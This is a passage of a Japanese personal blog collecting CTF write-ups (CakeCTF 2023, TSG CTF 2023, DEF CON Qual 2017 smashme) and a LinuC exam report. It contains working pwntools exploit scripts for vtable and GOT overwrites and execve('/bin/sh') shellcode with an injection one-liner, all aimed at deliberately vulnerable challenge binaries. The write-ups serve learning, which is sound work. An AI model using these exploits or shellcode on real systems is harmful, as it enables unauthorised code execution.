CakeCTF2023復習:vtable4b(pwn), bofww(pwn)
Pwnが解けるようになりたいので、CakeCTF2023のPwnジャンルの問題を復習したい。
vtable4b
この問題は、コンテスト本番中では僕がRev問題を考えている間にチームメイトのdrafearさんがACしていた。
問題の概要
netcatの接続先情報が与えられる(解析用の実行ファイルは与えられない)
接続すると
Today, let's learn how to exploit C++ vtable! You're going to abuse the following C++ class: class Cowsay { public: Cowsay(char *message) : message_(message) {} char*& message() { return message_; } virtual void dialogue(); private: char *message_; }; An instance of this class is allocated in the heap: Cowsay *cowsay = new Cowsay(new char[0x18]()); You can 1. Call `dialogue` method: cowsay->dialogue(); 2. Set `message`: std::cin >> cowsay->message(); Last but not least, here is the address of `win` function which you should call to get the flag: <win> = 0x55c36e52861a 1. Use cowsay 2. Change message 3. Display heap >
と表示され、vtableをインタラクト形式で解説するプログラムのようなものが始まる。
- 「1. Use cowsay」を実行すると、vtableを参照してCowsay::dialogue関数が実行される。
- 「2. Change message」を実行すると、dialogue関数で表示するメッセージを変更できる
- 「3. Display heap」を実行すると、現在のメモリ状態をリアルタイムで確認できる。
解法
とりあえずコマンド3を実行してみると以下のような出力が表示される。
> 3 [ address ] [ heap data ] +------------------+ 0x55c36fb1aea0 | 0000000000000000 | +------------------+ 0x55c36fb1aea8 | 0000000000000021 | +------------------+ 0x55c36fb1aeb0 | 0000000000000000 | <-- message (= '') +------------------+ 0x55c36fb1aeb8 | 0000000000000000 | +------------------+ 0x55c36fb1aec0 | 0000000000000000 | +------------------+ 0x55c36fb1aec8 | 0000000000000021 | +------------------+ 0x55c36fb1aed0 | 000055c36e52bce8 | ---------------> vtable for Cowsay +------------------+ +------------------+ 0x55c36fb1aed8 | 000055c36fb1aeb0 | 0x55c36e52bce8 | 000055c36e5286e2 | +------------------+ +------------------+ 0x55c36fb1aee0 | 0000000000000000 | --> Cowsay::dialogue +------------------+ 0x55c36fb1aee8 | 000000000000f121 | +------------------+ 1. Use cowsay 2. Change message 3. Display heap >
メモリアドレス自体は実行のたびに変化するが、messageとvtableのアドレスの位置関係は常に一定である。 また、コマンド2でmessageを書き換えることができるがバッファオーバーフローの脆弱性があり、長いメッセージを入れるとvtableの内容を上書きできてしまう。
ここで、win関数のアドレスを教えてくれているので、これでCowsay::dialogueのアドレスを上書きすることを考える。 vtableに格納されているのは対応する関数のメモリアドレスではなくポインタなので、この例ではアドレス0x563356670ed0に直接win関数のアドレス(0x55c36e52861a)を入れても駄目で、たとえば0x55c36fb1aeb0にwin関数のアドレスを入れた上で0x563356670ed0に値0x55c36fb1aeb0を入れるなどする必要がある。
メモリアドレスは毎回変化することから予め入力内容を用意しておくことはできないので、Pythonのpwntoolsを利用した。
from pwn import * import time conn = remote('vtable4b.2023.cakectf.com', 9000) line = conn.recvline() win_addr = 0 while line is not None: if "<win>" in line: win_addr = int(line[9::], 16) break line = conn.recvline() conn.recv() conn.sendline("3") line = conn.recvline() pointer_addr = 0 while line is not None: if "message" in line: pointer_addr = int(line[:14], 16) break line = conn.recvline() conn.recv() conn.sendline("2") conn.sendline(p64(win_addr) + "a"*24 + p64(pointer_addr)) conn.sendline("1") conn.recv() time.sleep(5) conn.interactive()
これを実行するとシェルを開くことができるので、親ディレクトリにあるflagファイルの内容を表示すればAC。
$ python2 solver.py [+] Opening connection to vtable4b.2023.cakectf.com on port 9000: Done [*] Switching to interactive mode Message: 1. Use cowsay 2. Change message 3. Display heap > [+] You're trying to use vtable at 0x55a887544eb0 [+] Congratulations! Executing shell... $ $ cat ../flag-806cb9c9719379667ca5616d9c8210f1.txt CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}
bofww
コンテスト本番中に少し考えたが解けなかった問題。
問題の概要
netcatの接続先情報と解析用の実行ファイルが与えられる。 コンパイル元のソースコードもある。
実行すると名前と年齢を質問される。 入力すると、入力した内容が表示されて終了。
$ ./bofww What is your first name? takeo How old are you? 27 Information: Age: 27 Name: takeo
解法
問題のキャプションには "buffer overflow with win function" とあるのでバッファオーバーフローを利用する問題であることは間違いなさそうだが、Ghidraでデコンパイルしたコードを確認すると入力部分にカナリアチェックが用意されていることがわかる。
↓元のソースコード(入力を受け取る部分)
void input_person(int& age, std::string& name) { int _age; char _name[0x100]; std::cout << "What is your first name? "; std::cin >> _name; std::cout << "How old are you? "; std::cin >> _age; name = _name; age = _age; }
↓実行ファイルを逆コンパイルしたもの
void input_person(int *param_1,basic_string *param_2) { long in_FS_OFFSET; int local_11c; char local_118 [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); std::operator<<((basic_ostream *)std::cout,"What is your first name? "); std::operator>>((basic_istream *)std::cin,local_118); std::operator<<((basic_ostream *)std::cout,"How old are you? "); std::basic_istream<char,std::char_traits<char>>::operator>> ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_11c); std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator= ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)param_2,local_118); *param_1 = local_11c; if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
nameに265バイト以上の文字列を入力すると__stack_chk_fail()が呼び出されて強制終了するという仕組みのようだ。
ここでコンテストのDiscordやwriteupなどを色々見てみると、__stack_chk_fail()のGOTをwin関数に書き換えると良いとのことで実際にやってみる。
input_person関数の
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator= ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)param_2,local_118);
の部分は、元のソースコードでいうと
name = _name;
に対応しており、*nameに_nameの内容を書き込んでいる。 ここでnameのポインタを__stack_chk_fail()のGOTのポインタに書き換えることができれば、_nameに入力した内容を__stack_chk_fail()のGOTに書き込むことができると考えられる。
実際に代入部分(0x004013b4)をgdbで調べてみると
Guessed arguments: arg[0]: 0x7fffffffe010 --> 0x7fffffffe020 --> 0x7ffff7faff00 --> 0x0 arg[1]: 0x7fffffffdee0 --> 0x6f656b6174 ('takeo') arg[2]: 0x7fffffffdee0 --> 0x6f656b6174 ('takeo')
となっており、代入後は
RAX: 0x7fffffffe010 --> 0x7fffffffe020 --> 0x6f656b6174 ('takeo')
となっていることから、0x7fffffffdee0(入力した_name)の内容を0x7fffffffe010の指すアドレス(0x7fffffffe020)に書き込んでいるようだ。
さらに、__stack_chk_fail()の呼び出し部分を調べると
0x4013d8 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+200>: call 0x401190 <__stack_chk_fail@plt>
となっており、
gdb-peda$ disas 0x401190 Dump of assembler code for function __stack_chk_fail@plt: 0x0000000000401190 <+0>: endbr64 0x0000000000401194 <+4>: bnd jmp QWORD PTR [rip+0x2eb5] # 0x404050 <__stack_chk_fail@got.plt> 0x000000000040119b <+11>: nop DWORD PTR [rax+rax*1+0x0] End of assembler dump.
より0x404050が__stack_chk_fail@got.pltのアドレスであることがわかる。
ここでwin関数のアドレスは0x004012f6なので、0x7fffffffdee0(_nameの先頭)に0x004012f6を書き込んだ上で0x7fffffffe010を0x404050(__stack_chk_fail@got.plt)で上書きすることができればカナリアチェックでfailした瞬間にwin関数が呼び出されることになると考えられる。
よって、
from pwn import * win_addr = 0x004012f6 got = 0x404050 r = process("./bofww") r.recvuntil("What is your first name?") r.sendline(p64(win_addr) + p64(0x0) + "a"*8*0x24 + p64(got)) r.recvuntil("How old are you?") r.sendline("0") r.interactive()
とすれば、実際にwin関数を呼び出してシェルを開くことができた(サーバが既に閉じてしまっていたのでローカルにflagを用意した)
$ python2 solver.py [+] Starting local process './bofww': pid 3996 [*] Switching to interactive mode $ cat flag.txt TAKEO{You_got_the_flag!}
CakeCTF 2023に参加した
CakeCTF 2023に3人チームで参加した。
僕は今回もRevカテゴリの問題をやっていて、2問解くことができた。
nande
解法
exe形式の実行ファイルとpdbファイルが与えられる。 与えられたexeファイルを実行するとFlagの正誤判定をしてくれる。
$ ./nand.exe Usage: nand.exe <flag> $ ./nand.exe CakeCTF{test} Wrong...
とりあえずGhidraにexeファイルとpdbファイルを読み込ませてデコンパイルする。 内部実装を確認すると、入力されたFlagを暗号化したものを比較しているようだった。
暗号化のアルゴリズムはそれほど複雑ではないので、デバッグ実行をしなくてもデコンパイルされたコードを読んで理解することができた。 flagの文字列をバイナリとして見たときの各bitに対して順番にNAND演算を行う処理を4660周繰り返すというもので、一見復元が難しいように見えるがよく見るとNAND演算4つを合わせたMODULEという関数全体がXOR演算になっていることがわかる。
void __cdecl MODULE(uchar param_1,uchar param_2,uchar *param_3) { undefined auStack_38 [32]; uchar local_18; uchar local_17; uchar local_16 [6]; ulonglong local_10; local_10 = __security_cookie ^ (ulonglong)auStack_38; NAND(param_1,param_2,&local_18); NAND(param_1,local_18,local_16); NAND(param_2,local_18,&local_17); NAND(local_16[0],local_17,param_3); __security_check_cookie(); return; }
XOR演算は自身を逆元として持つので、バイナリから暗号化済みFlagを取り出して逆向きに適用していけば平文が手に入る。
goal = [1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0] def nand(a, b): return ~(a & b) + 2 def module(a, b): # これXORですね A = nand(a, b) B = nand(a, A) C = nand(b, A) return nand(B, C) def circuit(a, b): for i in range(4660): for j in range(255): b[j] = module(a[j], a[j+1]) b[255] = module(a[255], 1) for j in range(256): a[j] = b[j] return b def circuit_rev(a, b): for i in range(4660): b[255] = module(a[255], 1) for j in range(254, -1, -1): b[j] = module(a[j], b[j+1]) for j in range(256): a[j] = b[j] return b flag_bin = [0] * 256 circuit_rev(goal, flag_bin) # print(flag_bin) flag = "" for i in range(32): c = 0 for j in range(8): c |= (flag_bin[i*8+j] << (j)) # print(c) flag += chr(c) print(flag)
$ python3 crypto.py CakeCTF{h2fsCHAo3xOsBZefcWudTa4}
Cake Puzzle
解法
与えられたELFファイルを実行するとコマンドラインのプロンプトが表示されるが、何かを入力しても反応はなく次の入力を求められ続ける。
$ ./chal > test > test2 > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa >
デコンパイルしてよく読むと、内部にMという配列があって、入力に応じてそれをswapしているようだった。 ここで想定されている入力が"U", "R", "D", "L"であることがわかるので、配列のswapと4近傍、また問題のキャプションに "Someone cut a cake and scrambled." と書かれていることから、15パズルを連想した。
そのことを念頭に置いた上でコードを読むと、"U", "R", "D", "L"が入力されるたびに(何も表示されないが)内部で15パズルが動いていて、それが解けたときにFlagを出力するプログラムであることが理解できた。
gdb-pedaを使ってメモリからゲーム開始時の配列Mを取り出すと
0x555555558080 <M>: 0x445856db 0x4c230304 0x0022449f 0x671a96b7 0x555555558090 <M+16>: 0x6c5644f7 0x7ff46287 0x6ee9c829 0x5cda2e72 0x5555555580a0 <M+32>: 0x00000000 0x698e88c9 0x33e65a4f 0x50cc5c54 0x5555555580b0 <M+48>: 0x1349831a 0x53c88f74 0x25858ab9 0x72f976d8
となっていて、0x0を上下左右に動かして配列をソートすることができればクリア。
脳内で解くのは無理なので、Pythonで15パズルを実装した。
state = ['5', '6', '1', 'A', 'C', 'F', 'D', '9', '0', 'B', '4', '7', '2', '8', '3', 'E'] goal = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'] def dump(m): for i in range(4): print(f"{m[i*4+0]} {m[i*4+1]} {m[i*4+2]} {m[i*4+3]}") x = 2 y = 0 history = "" while True: print(f"history:{history}") dump(state) str = input() c = str[0] if c == 'w' and x > 0: state[x*4+y], state[(x-1)*4+y] = state[(x-1)*4+y], state[x*4+y] x-=1 history += 'U' if c == 's' and x < 3: state[x*4+y], state[(x+1)*4+y] = state[(x+1)*4+y], state[x*4+y] x+=1 history += 'D' if c == 'a' and y > 0: state[x*4+y], state[x*4+(y-1)] = state[x*4+(y-1)], state[x*4+y] y-=1 history += 'L' if c == 'd' and y < 3: state[x*4+y], state[x*4+(y+1)] = state[x*4+(y+1)], state[x*4+y] y+=1 history += 'R'
これを頑張って手動で解くと、たとえば
RURDLDRRULDRUULLDDRUULDRULLURRDLDLURRDLLURDDLUURDDLURRULDRRULLLDRRRULDRUULRDLDLUURRDLDLURULDRURLDRULLDRURDLURDLLURRDLLDRUULDDLURRULLDDRULURDLURLDRULDRULDRRULLDRULRDRULLDRULDRURDLULDRULDRRULLDRRULL
と動かせばいいことがわかるので、これを入力してFlag
CakeCTF{wh0_at3_a_missing_pi3c3_0f_a_cak3}
を入手できた。
ちなみに15パズルは80手あればどんな盤面でも解けるらしいが、上の解答例は196手である(下手すぎ)
感想
Revカテゴリの中でもオーソドックスな問題はある程度解けるようになってきた気がするけど、まだ1問にかける時間が長いと感じる。 Pwnカテゴリもカバーできるようになりたいと思っているがコンテスト中に解けない場合が多いので引き続き勉強したい。
TSG-CTF2023: beginners_rev_2023(Reversing)
東京大学のサークル主催のTSG CTF 2023に3人チームで参加した。 いつも通り開始と同時にReversingの問題をやっていたが、コンテスト自体がこれまでよりも少し難しめということもあり1問しか解けなかった🥲
問題の概要(beginners_rev_2023)
実行ファイル「beginners-rev-2023.exe」が与えられる。
解法
beginners-rev-2023.exeを実行すると入力受付状態になり、適当な文字列を入力すると"Wrong..."と表示されて終了した。
$ ./beginners-rev-2023.exe Flag> test Wrong...
とりあえずflagのバリデーションをしているんだろうと当たりをつけて、いつものようにghidraで逆コンパイルしてみる。 "Wrong..."という文字列が格納されている場所と、それを呼びだしている場所を探すと中核となる関数をすぐに見つけることができた。
これを開くと配列に対して大量にビットシフトとXOR演算をしているのが見え若干ひるむ。
ところで、今回の実行ファイルはいつものELFファイルではなくPE32+実行ファイルであり、Windowsで実行可能である。
$ file beginners-rev-2023.exe beginners-rev-2023.exe: PE32+ executable (console) x86-64, for MS Windows
x64dbgでデバッグできるというヒントを問題文でくれているので、さっそくインストールする。 GUIアプリなのでデバッグしやすくて助かる。 x64dbg.com
実際に動かしながらflagのバリデーションの処理を調べていくと、MEMCMPでRCXレジスタとRDXレジスタの指すメモリを比較している部分があった。 ユーザーが入力した文字列を何らかの方法で暗号化し、それをあらかじめ用意したバイト列と比べているようだった。
正解のバイト列はRDX側に入っており、
07 56 e5 58 71 89 9a ca f0 67 03 2d 49 fb 6e 86 c2 f7 48 ca 3c 43 db 8e 04 2a 56 4a 97 33 a1 a2 07 83 f0 89 19 13 77 b4 9f 7d 7b 9c dd 8e fd ad b5 e2 28 0e 06 af e5 e3 86 c3 08 ad e6 4c de 63 a3 5f 1e 96 34 7d 9d 19 f5 c8 84 7f 7b 62 2a 6b c1 28 3b 6d 09 ef fc cb a0 90 9a 3e 66 a2 4e 06 90 2c 9d ae 3c 99 40 53 4c 69 63 e7 b9 a8 b3 87 a5 97 98 fe 1f 20 51 a7 ae 0d 00 ab 16 35 59 3d 08 1b 1c 92 e2 4f 1d 86 a5 6e 0a 14 45 4d 61 08 69 c3 12 a2 eb 50 13 93 22 e2 c4 10 ca 5f b2 0b a2 30 c8 54 91 3a 37 fd d2 10 ab 5a f8 38 f3 d3 d5 85 58 de df c0 f4 17 4e f7 31 79 dd 41 2f b3 20 c7 ec 98 5e ae f7 a9 cb 27 13 72 fe ca 64 ff 43 93 80 3e 1e e5 99 bf 41 4b 9d 85 4e 0f 99 94 57 e1 63 d9 01 85 78 8a 06 fe 9d 41 32 74 55 83 b2 85 e9 9f c6 2c 4b 62 8f bf 7d 57 c8 76 3b 31 5e 87 60 89 35 41 c1 52 6c d0 0b 7d ca 60 5d 82 19 b0 96 5e 16 e7 9b 2f 37 5f c9 c5 f3 20 c3 45 cb 47 a1 cc 79 e5 b6 fb d4 55 db c1 35 9b 8b fa 38 d5 b2 b5 e0 4f 4d 6c 4f 8c 0c 42 bc 8e b3 78 48 e4 87 8e 34 a3 1d 01 53 98 71 fa 8f 2f e3 7a 6b b9 1b b6 7e 34 7f c8 c4 6c ab 45 4d 81 ef ee c3 d9 db 13 5b 63 90 fc 34 18 81 bc d1 18 48 bb 7c 24 5b 56 2b 35 6b d7 f9 d3 d5 2b e2 24 d8 50 f1 ec d5 e6 29 55 66 f2 f7 28 20 7d f3 47 40 03 11 4a 47 a5 b4 74 15 35 d0 f0 e5 4c 04 b5 59 fe fc 45 9d 3a a1 3f 1a a7 a8 51 e5 65 f1 56 ee de fc c4 87 f5 fa 79 31 07 0a 3f 41 28 d1 59 17 4d 02 e4 5a 22 3a bc d2 cd 80 bc 2a 49 f0 7f 97 a1 90 59 01 8d 25 43 d8 00 ea d8 4f e2 4e 2b 06 fd 7e 16 a9 92 c4 fd b5 6a 82 06 18 0c 0a b7 b8 29 8f 87 63 65 25 b9 7a d0 6e 30 3c f2 f7 c2 30 86
となっていた。
つまり、暗号化の処理を調べて上記のバイト列を復号できればflagが得られると考えられる。 また、試しに"TSGCTF{"で始まる文字列を入力してみると最初の4バイトが一致するので、前から順番に暗号化するタイプのアルゴリズムなのでは?とあたりを付けた。
ここからは暗号化の処理を調べていく。 暗号化の処理は3段階に分かれていて、
処理A → 処理B → 処理A
のような構造になっていた。
処理A
入力した文字列に処理Aが施されるところをデバッガを使って観察してみると前から8バイトずつ順番に暗号化されていくので、ブロック暗号であることが分かる。 このことを念頭に置いて逆コンパイルされたコードを読むと、文字列の先頭から順番に8バイトずつ取り(Aとする)
A' = A ^ (A >> 12)
という処理を行っているようだった。
これを復号するのは簡単で、
A = A' ^ (A' >> 12) ^ (A' >> 24) ^ (A' >> 36) ^ (A' >> 48) ^ (A' >> 60)
である。
処理B
処理Bはコードを見るとかなり複雑で追うのは難しいように見えるが、少し気合を入れてデバッガで処理を追っていくと元の文字列を1文字ずつ暗号化していくストリーム暗号になっている。 さらに、よく見ると複雑なのは埋め込まれたシードから乱数を生成している部分で、結局やってることは各文字に決まった値を1回ずつXOR演算しているだけである(ということに気づくのに時間を要した)
処理Bを行う前と後の文字列はそれぞれメモリから取り出すことができるので、この差分を調べれば乱数生成の処理を追わずとも何文字目に何がXORされているのか突き止めることができる。
これで暗号化のアルゴリズムが分かったので、Pythonなどで復号の処理を書いてシミュレーションすれば
TSGCTF{y0u_w0uld_und3r57and_h0w_70_d3cryp7_arc4_and_h0w_70_d3cryp7_7h3_l3ak3d_5af3_l1nk1ng_p01n73r}
を得ることができた。 Flagの内容から察するに処理BはARC4という名前の暗号だったようだ。
感想
TSG CTF 2023で正の得点を取った560チームのなかで、この問題を解いていたのは24チームだった。 他のカテゴリの1問目よりかなり少ない数字なので、少し難易度高めな問題を解けたと考えることにした。
見直してみると簡単に思えるが、コンテスト中は逆コンパイルしたコードを見たりデバッガで処理を追っている時間が大半なので所要時間としてはかなりかかってしまった。 Reversingの2問目(T the weakest)はコンテスト中に解けなかったので、後で復習したい。
LinuC レベル1 の認定を取得した
カードとシールが来た pic.twitter.com/FaNiPaf4SM
— 竹雄 (@takeo1116) 2023年11月5日
LinuCについて
LinuC(リナック)は、クラウド/DX時代のITエンジニアに求められる、システム構築から運用管理に必要とされるスキルを証明する技術者認定である。 LinuC - Wikipedia
LinuCはLinux技術者認定の一種であり、今回はそのうちの一番基礎的なレベルであるレベル1を受験した。 LinuC 101 / 102 という2つの試験に両方合格することでレベル1の認定を受けることができる。
もともとLinuxの認定としてはLPICが有名だったが色々あって分裂したらしく、LinuCの運営元はかつてのLPICと同じところらしい。 今回受けるのは別にどっちでもよかったのだが、LinuCのほうが試験範囲がなんとなく現代的な気がしたのでLinuCを受験することにした。
受けた理由
Linux自体は4,5年ほど前から使っていて、そのとき必要な範囲を調べて問題なく使えてはいるものの体系的な知識を持ってないなと思ったため。
勉強
今回はLPI-Japanの認定教材であるLinuC教科書(あずき本)とスピードマスター問題集を使って勉強をした。
Linux教科書 LinuCレベル1 Version 10.0対応 | 中島 能和, 濱野 賢一朗 |本 | 通販 | Amazon Amazon.co.jp: Linux教科書 LinuC レベル1 スピードマスター問題集 Version10.0対応 : 山本 道子, 大竹 龍史: 本
試験範囲には各コマンドのオプションなど実際使うときには調べればいいだろうというようなものも結構あるので、完璧に覚えることは目指さず8割くらいを安定させることを目標にした。
資格勉強ではまず問題集から入って足りない知識を参考書で補完するのがいいらしいが、今回はどちらかというと合格というよりは満遍なく知りたかったので教科書の丸読みから入った。 まず101試験の範囲で
- 教科書の全部のセクションを読む
- 問題集の全部のセクションをやって解説を読む
- 教科書の各セクションをもう一回読む
- 問題集の各セクションをもう二回やる
という順序で勉強をしたところ、模擬試験で8割くらい取れるようになったので受験。合格したので102も同じ感じで勉強して受験した。 それぞれ3週間くらい勉強した(1日の勉強時間はまちまち)
成績
101試験
スコア693 / 合格点480
セクション | 正解率 |
---|---|
Linuxのインストールと仮想マシン・コンテナの利用 | 87% |
ファイル・ディレクトリの操作と管理 | 90% |
GNUとUnixのコマンド | 80% |
リポジトリとパッケージ管理 | 87% |
ハードウェア、ディスク、パーティション、ファイルシステム | 90% |
102試験
スコア666 / 合格点480
セクション | 正解率 |
---|---|
シェルとスクリプト | 90% |
ネットワークの基礎 | 92% |
システム管理 | 66% |
重要なシステムサービス | 77% |
セキュリティ | 91% |
オープンソースの文化 | 66% |
何点満点なのかという情報がなぜか開示されていないのだが、合格点や正解率から恐らく800点なのではないかと思っている。どちらも8割を超えていそうなのでよかった。
感想
元々使っている範囲の知識は自分で調べていたので合格したからといっていきなり何かが変わるというわけではないが、当初の目的通りある程度包括的な知識がついた気がした。
最近CTFに何度か参加しており、今回の試験範囲で問われるような知識が必要になる問題もあるようなので役に立つかもしれない。 一応レベル2の教科書も買ってみたが、自分には現状あまり必要にはならない範囲のようなのでしばらくは受験しないと思う。
smashme(DEFCON Qual 2017)をShellcodeとROPで解く
経緯
CTFのコンテストに初めて参加する前に「入門 セキュリティコンテスト」という本を買ったのだが、それを今更読んでいるとPwnの例題としてSECCON2017 Qualの「baby_stack」という問題が紹介されていた。 その解法として紹介されていたROPという手法が興味深かったので勉強してみた(本当はCosmic Rayの前にこちらをやろうと思ってたのだが、どう考えてもこっちのほうが難しい内容だと思ったので順番を入れ替えた)
ShellCodeについて
Cosmic Rayではスタックバッファオーバーフローを利用してスタックに格納されているmain関数のリターンアドレスをwin関数のアドレスに書き換えることでflagを取得したが、プログラムの内部に攻撃者にとって都合のいい関数がそのまま用意されているとは限らない。 そういった処理が存在しない場合であっても、スタック領域に実行したい処理を機械語で書き込んでからジャンプすることで任意の処理を実行させることができる。 シェルを起動する場合が多いことから、こういったコードはシェルコードと呼ばれている(転じて、シェルを起動しない場合もシェルコードと呼ぶらしい)
アセンブリでシェルを起動する方法
アセンブリでシェルを起動するにはSYSCALL命令を利用する。 64bit環境でシステムコールからシェルを起動する(execve("/bin/sh", NULL, NULL)を呼び出す)場合は
- RAXレジスタにexecveのシステムコール番号 59(0x3b) を入れる
- RDIレジスタに第一引数 "/bin/sh" のアドレスを入れる
- RSIレジスタに第二引数 NULL(0x0) を入れる
- RDXレジスタに第三引数 NULL(0x0) を入れる
- 上記を満たした状態で SYSCALL命令 を実行する
よって、単純には
mov rax, 0x0068732f6e69622f; "/bin/sh" push rax; スタックに積む mov rax, 0x3b; システムコール番号59 mov rdi, rsp; 第一引数("/bin/sh"のポインタ=スタックの現在位置) mov rsi, 0x0; 第二引数(NULL) mov rdx, 0x0; 第三引数(NULL) syscall;
を実行すればよい。 これを機械語に変換すると
$ nasm -f elf64 code.asm && ld code.o -o code.out $ objdump -M intel -d code.out code.out: file format elf64-x86-64 Disassembly of section .text: 0000000000401000 <__bss_start-0x1000>: 401000: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f6e69622f 401007: 73 68 00 40100a: 50 push rax 40100b: b8 3b 00 00 00 mov eax,0x3b 401010: 48 89 e7 mov rdi,rsp 401013: be 00 00 00 00 mov esi,0x0 401018: ba 00 00 00 00 mov edx,0x0 40101d: 0f 05 syscall
となる。
しかし、一般にはシェルコードの途中にヌル終端文字(0x00)を用いることができないらしい。 ヌル文字を用いることなく同様の処理を実行するには、たとえば次のように書き換えることができる。
401000: 48 31 f6 xor rsi,rsi 401003: 56 push rsi 401004: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f 40100b: 2f 73 68 40100e: 50 push rax 40100f: 48 31 c0 xor rax,rax 401012: b0 3b mov al,0x3b 401014: 48 89 e7 mov rdi,rsp 401017: 48 31 d2 xor rdx,rdx 40101a: 0f 05 syscall
文字列を"/bin//sh"に書き換えることで0埋めが起こらないようにした。 同時に、あらかじめ0をpushしておくことで終端文字の代わりとした。
追記:シェルコードにnull文字が使えないというのは2023年9月現在Wikipediaに書かれている記述を参考にしている。
しかし、実際のところシェルコードにおいてnull文字を使ってはいけないのは「null文字を文字列の終端とみなす関数(C言語のstrcpyなど)をシェルコードが通ることで動作に支障がある場合」であり、すべてのシェルコードにおいてということではない。
(このあとROPを勉強しているときに普通にnull文字を送信しているexploitコードを見て気づいた)
smashmeの場合においては入力に特定の文字列が含まれているかどうかをstrstrで判定しているため、キー文字列の前にnull文字があると判定に失敗してしまう。
かといってキー文字列をシェルコードより前に持ってくるとJMP RDIで命令の先頭に飛べないため、結果的にnull文字排除を行うべきだと考えられる。
smashme (DEF CON CTF Qualifier 2017)
ここで、練習のためにシェルコードが想定解となっている問題を一つ探して解いてみる。
問題概要
与えられたバイナリを実行すると入力を求められ、文字列を入力するとそのまま終了する。
$ ./smashme Welcome to the Dr. Phil Show. Wanna smash? yes
解法
まず、与えられたバイナリに対してchecksecを実行して「NX disabled, NO PIE」となっていることを確認する。
$ checksec --file=smashme RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 1886) Symbols No 0 0 smashme
さらに、Ghidraを使って逆コンパイルするとmain関数の挙動がわかる。
undefined8 main(void) { char *pcVar1; char local_48 [64]; puts("Welcome to the Dr. Phil Show. Wanna smash?"); fflush((FILE *)stdin); gets(local_48); pcVar1 = strstr(local_48,"Smash me outside, how bout dAAAAAAAAAAA"); if (pcVar1 != (char *)0x0) { return 0; } exit(0); }
動作としては見ての通りで、一度だけ入力を受け付けて、入力された文字列に特定の文字列が含まれていればreturnするが、そうでなければ即座に終了するというもの。 入力の受け取りにgetsを使っているのでスタックバッファオーバーフローの脆弱性があるというのがポイント。
今回はこの脆弱性を利用して任意コード実行を行い、システムコールでシェルを起動することでディレクトリ内に存在するflag.txtの内容を盗み見ることを考える。 そこで、先ほど作ったシェルコードをスタックに埋め込んで実行したい。
gdbで調べたところ、入力文字列が入るメモリアドレスの先頭は 0x7fffffffe010 、main関数のリターンアドレスの先頭は 0x7fffffffe058 だった。 入力に含める必要がある文字列を最初に持ってきた場合、自由に使えるアドレスは 0x7fffffffe037 からということになる。 リターンアドレスまでは33バイト使えて、先程作ったシェルコードは28バイトなので埋め込めそうだ。 余った部分はNOP命令(0x90)で埋めて、最後にリターンアドレスを 0x7fffffffe037 で上書きしてみる。
$ (python2 -c 'print "Smash me outside, how bout dAAAAAAAAAAA" + "\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xd2\x0f\x05" + "\x90\x90\x90\x90\x90" + "\x37\xe0\xff\xff\xff\x7f\x00\x00"') | ./smashme Welcome to the Dr. Phil Show. Wanna smash? Segmentation fault
これを実行したところ、うまくいかなかった。
gdbでメモリを見ながらデバッグしてみると、シェルコードの処理中に値を2回pushしているせいでシェルコード自体を上書きしてしまっているようだった。 通常であればテキスト領域とスタック領域はメモリの両端にあるのでスタックに書き込んだ値がコードを上書きしてしまうということはないが、今回はスタック領域にコードを書き込んで無理やり実行しているのでこういうことが起こるらしい。
しかも、スクショを取ろうと思って別の端末で同じことをやったらスタックのアドレスが違っていた。 先程はリターンアドレスを 0x7fffffffe037 で決め打ちしていたが、端末によってスタックのアドレスが異なるのであればこの方法は使えない(コンテスト本番では実行ファイルはローカルではなくサーバ上にあるため)。 スタックに対してASLRが適用されており、ランダムなオフセットが入っているようだった。
シェルコードの上書きに対しては、挿入する文字列の順序を入れ替えて不要な部分を後に持ってくることで対応できそうだ。 スタックアドレスのオフセットについては解法を調べた(カンニング)ところ、入力した文字列の先頭アドレスがRDIレジスタに入っているので JMP RDI 命令を使ってジャンプできるということだった。 JMP RDI という命令そのものはプログラムの中に含まれていないが、0x4c4e1bに「0xff 0xe7」という配列があるため、ここに跳ぶことでJMP RDIを実行することができる。
このようにしてできたシェルコードは
